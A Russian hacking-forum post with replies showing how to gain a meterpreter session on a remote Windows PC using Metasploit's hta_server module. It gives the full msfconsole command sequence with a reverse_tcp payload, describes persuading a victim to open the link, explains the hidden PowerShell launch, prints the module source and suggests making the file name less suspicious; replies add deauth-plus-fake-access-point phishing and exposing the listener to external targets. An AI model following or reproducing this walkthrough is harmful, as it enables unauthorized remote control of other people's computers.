Статья Взлом удаленного ПК: HTA-server

Всем привет! В этой статье я хочу показать взлом удаленного компьютера, а точнее, получение сессии meterpreter c помощью эксплойта - hta_server.

upload_2016-10-28_15-22-33.png


Появился он недавно в версии Metasploit Framework v4.12.34,

upload_2016-10-28_15-22-53.png


так, что прежде чем начать убеждаемся в ее наличии, если отсутствует, обновляемся:

> apt-get update && apt-get upgrade –y && apt-get dist-upgrade

Запускаем Metasploit Framework:

> msfconsole

В появившейся консоли фреймворка пишем:
Код:
use exploit/windows/misc/hta_server
set payload /windows/meterpreter/reverse_tcp
set LHOST 172.16.0.160
set SRVHOST 172.16.0.160
set LPORT 4444
exploit
Теперь, если все проделано, верно, видим экран с таким содержимым:

upload_2016-10-28_15-23-48.png


Теперь немного теории, первая строка обозначает, что обратное подключение (от жертвы) ожидается на адресе 172.16.0.160 и порту 4444.

Вторая, это ссылка которую необходимо доставить нашей цели, но не просто доставить, а убедить в том, что по ней необходимо перейти :)

А третья, собственно, о том, что был поднят веб-сервер на локальном адресе.

Перейдем по ссылке на целевой машине:

upload_2016-10-28_15-24-25.png


Вернувшись к консоли линукс, мы видим, что сервер сообщает о доставке полезной нагрузки обратившемуся к нему адресу 172.16.0.139.

upload_2016-10-28_15-25-8.png


Вернемся к целевому хосту и скачаем то, что было предложено сервером.

upload_2016-10-28_15-26-6.png


Как видно, сервер сгенерировал нам некое приложение .hta - HTML Application (HTA) — приложение, написанное на HTML или Dynamic HTML.

upload_2016-10-28_15-26-27.png


После запуска получаем готовую рабочую сессию meterpreter.

upload_2016-10-28_15-26-49.png


Объясню, как это происходит, созданное приложение открыло в фоновом режиме другое приложение, которое может работать скрытно от глаз пользователя, зовется оно PowerShell - Представляет собой современную стандартизированную оболочку командной строки, обеспечивающую большую гибкость управления компьютером на базе операционной системы Windows. По сути, PowerShell — это та же командная строка, но только намного более функциональная. Увидеть ее можно, набрав в пуске - powershell

upload_2016-10-28_15-28-24.png


PowerShell содержащий полезную нагрузку обнаруживается в диспетчере задач:

upload_2016-10-28_15-28-45.png


Итак, по поводу нагрузки все ясно. Дальнейшие действия зависят от фантазии.

Я бы хотел обратить внимание на один очень важный, по моему мнению момент. Взглянем на исходный код скрипта, который находится /usr/share/metasploit-framework/modules/exploit/windows/misc/hta_server.rb написан он на Ruby:
Код:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking
  include Msf::Exploit::Remote::HttpServer
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HTA Web Server',
      'Description'    => %q(
        This module hosts an HTML Application (HTA) that when opened will run a
        payload via Powershell. When a user navigates to the HTA file they will
        be prompted by IE twice before the payload is executed.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => 'Spencer McIntyre',
      'References'     =>
        [
          ['URL', 'https://www.trustedsec.com/july-2015/malicious-htas/']
        ],
      # space is restricted by the powershell command limit
      'Payload'        => { 'DisableNops' => true, 'Space' => 2048 },
      'Platform'       => %w(win),
      'Targets'        =>
        [
          [ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ],
          [ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X86_64 } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 06 2016'
    ))
  end
  def on_request_uri(cli, _request)
    print_status('Delivering Payload')
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      target.arch,
      target.platform,
      p.encoded,
      'hta-psh',
      { :arch => target.arch, :platform => target.platform }
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end
  def random_uri
    # uri needs to end in .hta for IE to process the file correctly
    '/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta'
  end
end
Строка '/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta' определяет название выходного файла. Данный метод генерирует абсолютную дичь, состоящую из 10 + -рандомных чисел и букв. (Fg8FGn34f9.hta) Предлагаю исправить это на более приемлемый вариант.

Делается это путем изменения метода .rand_text_alphanumeric на метод .uri_encode

upload_2016-10-28_15-30-32.png


В одинарных кавычках пишем, все что угодно. На этом все. Спасибо за внимание.

P.S.
Осталось подумать, как приделать к нему более симпатичный ярлык…

P.P.S. Статья не является руководством к действию и опубликована исключительно в ознакомительных целях. За последствия вызванные применением данного метода на практике автор и ресурс, ответственности не несут.
 
Последнее редактирование:

Dosia

Green Team
08.12.2016
96
27
BIT
0
Самое главно, что бы все были в зоне действия. Одним словом, можно уронить роутер, и поднять точку фейк, однако - сможет ли до нее добить система, которая нам интересна?
С TP LInk никаких проблем ( с точки реализации ) проблем возникнуть не должно. Не забываем - надо 2 адаптера: 1 - глушит, 2 - играет фейковую точку.
Рекоменжую посмотреть wifi фишинг, на данном форуме было много статей.

ПС Какая ОС используется для тестирования?
Целевая OC : Windows 7, Моя OC: Kali Linux
 

Dosia

Green Team
08.12.2016
96
27
BIT
0
Самое главно, что бы все были в зоне действия. Одним словом, можно уронить роутер, и поднять точку фейк, однако - сможет ли до нее добить система, которая нам интересна?
С TP LInk никаких проблем ( с точки реализации ) проблем возникнуть не должно. Не забываем - надо 2 адаптера: 1 - глушит, 2 - играет фейковую точку.
Рекоменжую посмотреть wifi фишинг, на данном форуме было много статей.

ПС Какая ОС используется для тестирования?
Тоесть, обязательно что-бы было 2 роутера? Одного wifi адаптера не достаточно?
 

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0
Целевая OC : Windows 7, Моя OC: Kali Linux

Для начала посмотрим - есть ли возможность положить точку и на себя зацепить тестируемую машину. утилита fluxion, описание есть на данном ресурсе. Все идет автоматом. Также airgeddon
 

Dosia

Green Team
08.12.2016
96
27
BIT
0
2 адаптера
1 ---> постоянно атакует точку и она лежит
2 ----> поднимает клон на который и будет собирать подключения
А есть ли темы по поводу два адаптера? Просто хочу попробывать, но не знаю как с помощью двух адаптеров
 

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0
А есть ли темы по поводу два адаптера? Просто хочу попробывать, но не знаю как с помощью двух адаптеров

Подключаем адаптеры к своей системе, убеждаемся - система их видит, далее запускаем Fluxion - выбираем адаптер и вперед
 

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0
Вот ещё один вопрос, какая утилита лучшая для поиска уязвимостей сайта? ( По дефолту в кали ) Заранее спасибо.

По дефолту набор большой:
owasp-zap
skipfish
nikto
w3af
wega
sqlmap - с нятжкой, так как это пост эксплуатация, однако с параметрами --crawl и --batch можно заставить сканер обойти весь сайт и попробовать найти вектор атаки ( шанс 50/50) самую видную - найдет, глубокие - это тамперы, руки и пр

Говорить хуже/лучше тут не совсем уместно, они делают одну работу. Но лично мне нравятся именно эти - первым, всегда стартую owasp, далее по убывающей.
 
  • Нравится
Реакции: Dosia и Vander
H

hackaxe

сразу к нескольким пк сессию можно им получить ?
..если да то каким образом ?
 
H

hackaxe

для доступа из вне нужно делать проброс портов верно ?
 
H

hackaxe

Не понимаю почему не хочет для внешнего айпи создаваться, вроде проброс портов сделал

msf exploit(hta_server) > exploit -j
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.0.86
LPORT => 7073
ExitOnSession => false
SRVPORT => 4444
SSL => false
DisablePayloadHandler => false
SRVHOST => 9*.**.**.222
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.0.86:7073
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (9*.**.**.222:4444).
[doublepost=1485932357,1485931913][/doublepost]и еще не пойму, проброс делается для какой службы ? http ?
 
D

DoberGroup

и еще не пойму, проброс делается для какой службы ? http ?
А проброс вообще никогда не для какой службы не делается. Перестаньте читать глупости из встроенной справки в прошивке роутера.

вроде проброс портов сделал
Куда какой порт/протокол пробросили?
 
  • Нравится
Реакции: Vander

sigakey

Green Team
07.02.2017
11
1
BIT
0
Здравствуйте, а если у жертвы стоит ХР этот эксплоит сработает?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!